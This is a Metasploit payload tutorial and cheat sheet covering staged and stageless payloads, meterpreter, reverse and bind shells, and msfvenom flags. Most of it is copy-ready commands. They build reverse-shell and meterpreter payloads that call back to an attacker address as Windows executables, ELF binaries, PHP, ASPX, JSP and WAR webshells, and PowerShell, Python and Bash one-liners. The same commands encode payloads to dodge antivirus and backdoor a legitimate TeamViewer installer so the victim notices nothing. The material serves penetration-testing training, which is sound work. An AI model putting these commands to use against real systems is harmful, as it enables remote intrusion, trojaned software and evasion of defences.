A payload is the code that runs on the target after an exploit succeeds. Metasploit splits payloads into three delivery styles and gives you msfvenom for standalone generation. Picking the wrong one costs you sessions — too big for the buffer, wrong architecture, stager caught mid-handshake.
Payload Types
| Type | Naming | Size | Reliability |
|---|---|---|---|
| Single (inline / stageless) | shell_reverse_tcp (underscore) | Large | High — all in one shot |
| Stager | shell/reverse_tcp (slash) | Tiny | Depends on network |
| Stage | Downloaded by stager | Full featured | N/A |
The naming convention is load-bearing:
- Slash (
windows/meterpreter/reverse_tcp) = staged. Small stub lands first, pulls down the real payload over the C2 channel. - Underscore (
windows/meterpreter_reverse_tcp) = stageless / inline. One self-contained blob.
When to Pick Which
- Buffer-overflow exploit with 300-byte shellcode window → staged, you have no choice
- Executable dropped via file upload or SMB → stageless is more reliable (no second-stage network fetch to blow up)
- Fighting a stager-detection AV (common) → stageless avoids the staging handshake that many EDRs fingerprint
- High-latency / unreliable network → stageless, stagers fail when the second stage can’t download cleanly
Meterpreter vs Shell
shell | meterpreter | |
|---|---|---|
| Interface | OS shell (cmd.exe / sh) | Custom command set |
| Footprint | Spawns a shell process | RAM-only, DLL injected |
| File ops | Manual (certutil, wget) | upload / download built-in |
| Pivoting | None | portfwd, route, socks_proxy |
| Post modules | Limited | Full access |
| Encryption | Plaintext | AES by default |
Meterpreter is nearly always the better pick on Windows and Linux. Raw shells are useful when meterpreter won’t load (ancient OS, aggressive EDR) or when you want absolute minimum footprint.
Upgrade raw shells
If you catch a cmd shell via
exploit/multi/handlerwithwindows/shell/reverse_tcp, background it and runsessions -u <id>to swap it for meterpreter.
Reverse vs Bind
- Reverse (
reverse_tcp) — victim connects back to you. Bypasses inbound firewalls. Default choice. - Bind (
bind_tcp) — victim opens a listener, you connect in. Useful when the target has no outbound internet but inbound to a specific port is reachable (internal pivots).
Variants:
reverse_tcp # TCP, default
reverse_https # HTTPS — survives proxies, blends in
reverse_http
bind_tcp
reverse_tcp_uuid # staged with UUID for tracking
reverse_https is the stealth-tier choice on hardened networks — the C2 looks like HTTPS traffic and traverses most corporate proxies.
msfvenom — Payload Generation
msfvenom replaces the old msfpayload + msfencode tools. One command does payload generation, encoding, and output formatting.
Core Flags
-p <payload> payload module
-l <type> list (payloads, formats, encoders, nops, platforms)
-f <format> output format (exe, elf, raw, c, py, psh, aspx, war, …)
-o <file> output file
-a <arch> x86, x64, arm, mips, ppc, sparc
--platform <os> windows, linux, osx, bsd, solaris, php, java, android
-e <encoder> encoder module
-i <n> encoder iteration count
-b '<chars>' bad characters to avoid
-x <template> inject into legitimate executable
-k keep template's original behavior (threaded payload)
-s <size> max payload size in bytes
--encrypt <type> base64, aes256, rc4, xor
--smallest minimize payload size
--list-options -p <payload> list required/optional LHOST etc. per payload
One-Liners Worth Memorizing
# Windows meterpreter exe (staged)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 \
-f exe -o meter.exe
# Windows meterpreter exe (stageless)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.5 LPORT=4444 \
-f exe -o inline.exe
# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 \
-f elf -o meter.elf
# PHP (raw — paste into any .php or webshell)
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 \
-f raw -o shell.php
# ASPX (IIS)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 \
-f aspx -o shell.aspx
# JSP (Tomcat/Java apps)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 \
-f raw -o shell.jsp
# WAR (Tomcat deploy)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 \
-f war -o shell.war
# PowerShell (base64 or raw)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.5 LPORT=4444 \
-f psh -o payload.ps1
# Python stager
msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.5 LPORT=4444 -f raw
# Bash one-liner
msfvenom -p cmd/unix/reverse_bash LHOST=10.10.14.5 LPORT=4444 -f rawShellcode for Exploit Dev
# C-format shellcode with bad chars excluded
msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0a\x0d' -f c
# Python format, no nulls, no CR/LF
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 \
-b '\x00\x0a\x0d\x20' -f py --smallestAlways supply -b with every byte the target protocol/parser treats as a terminator (\x00 always, \x0a + \x0d for anything line-based, \x20 when space breaks the input).
Encoders and Iterations
# Classic shikata_ga_nai, 10 iterations
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 \
-e x86/shikata_ga_nai -i 10 -f exe -o enc.exe
# List encoders by platform/arch
msfvenom -l encodersEncoders solve two problems:
- Bad characters — some exploit vectors can’t tolerate specific bytes. Encoders rewrite the payload to avoid them.
- Weak signature AV — rewrites the bytes, breaks naive string-match detections.
Encoders do not reliably defeat modern AV or EDR. See 05. Evasion.
Template Injection
# Backdoor a legitimate installer — original app still runs
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=443 \
-x TeamViewer_Setup.exe -k -f exe -o backdoored.exe-x embeds your payload into an existing PE. -k runs the payload in a separate thread so the legit application still works — critical for not tipping off the user.
Match the handler
Every msfvenom-built payload has a matching handler. Payload string,
LHOST,LPORT, and staged-vs-stageless must all match on the receivingexploit/multi/handleror the session will never form.
